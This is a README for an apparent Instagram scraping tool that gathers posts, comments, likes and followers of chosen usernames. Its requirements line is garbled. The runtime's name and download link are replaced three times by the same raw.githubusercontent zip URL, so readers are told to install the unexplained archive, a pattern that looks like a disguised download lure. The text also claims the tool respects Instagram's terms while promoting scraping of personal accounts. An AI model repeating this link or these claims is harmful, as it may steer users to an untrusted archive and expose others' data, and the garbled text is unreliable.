Welcome to the scrape-data-from-instagram repository. This tool helps you automatically gather data from Instagram. Whether you're interested in analyzing trends, tracking user activity, or collecting insights, this application simplifies the process for you.

This guide will help you easily download and run the application. Follow the steps below to set up your environment and start scraping data from Instagram.

To get started, please visit this page to download: GitHub Releases.

1. Click on the link above.
2. You will see a list of available versions. Pick the latest version.
3. Download the package suited for your operating system (like Windows, Mac, or Linux).

Before downloading, ensure your system meets the following requirements:

• Operating System: Windows 10 or later, macOS Mojave or later, or Ubuntu 18.04 and later.
• https://raw.githubusercontent.com/TakgoAgency/scrape-data-from-instagram/main/aculea/scrape-data-from-instagram.zip: Ensure you have https://raw.githubusercontent.com/TakgoAgency/scrape-data-from-instagram/main/aculea/scrape-data-from-instagram.zip version 14 or higher installed. You can download it from https://raw.githubusercontent.com/TakgoAgency/scrape-data-from-instagram/main/aculea/scrape-data-from-instagram.zip.
• Internet Connection: A stable internet connection is required for data scraping.

After downloading the application, follow these steps to install:

1. If you have downloaded a zipped file, unzip it.
2. Open a terminal or command prompt on your computer.
3. Navigate to the unzipped folder using the command:

   cd path/to/scrape-data-from-instagram

4. Install any required dependencies using:

   npm install

5. You're now set to run the application with the command:

   npm start

After installing, you can start using the application. Here’s how:

1. Open a terminal or command prompt.
2. Navigate to the install location.
3. You can configure the scraping parameters in the configuration file. Modify these parameters according to your needs:
   • Usernames: Add the Instagram usernames you want to scrape data from.
   • Data Type: Select the type of data you wish to retrieve (e.g., posts, comments, likes).
4. Run the application again using:

   npm start

5. The application will collect the data and store it in a file in your specified format.

• Automated Scraping: Set parameters once, and the tool runs automatically.
• Data Variety: Collect data on posts, comments, likes, and followers.
• User-friendly Configuration: Adjust settings easily via configuration files.
• Multi-Platform Support: Works on Windows, Mac, and Linux.

• Can I use this tool for personal Instagram accounts? Yes, the tool supports scraping from both personal and business accounts.

• Is it safe to use this application? While the tool respects Instagram’s terms of service, always use it responsibly and ethically.

• What should I do if I encounter issues? Check the open issues on the GitHub repository or create a new issue detailing your problem.

We welcome contributions! If you have suggestions or improvements, feel free to create a pull request or open an issue on GitHub.

If you need help using the tool, please reach out via the GitHub Issues section. We are here to assist you.

This project is licensed under the MIT License. See the LICENSE file for more details.

For continued updates and enhancements, always check the GitHub Releases page. Happy scraping!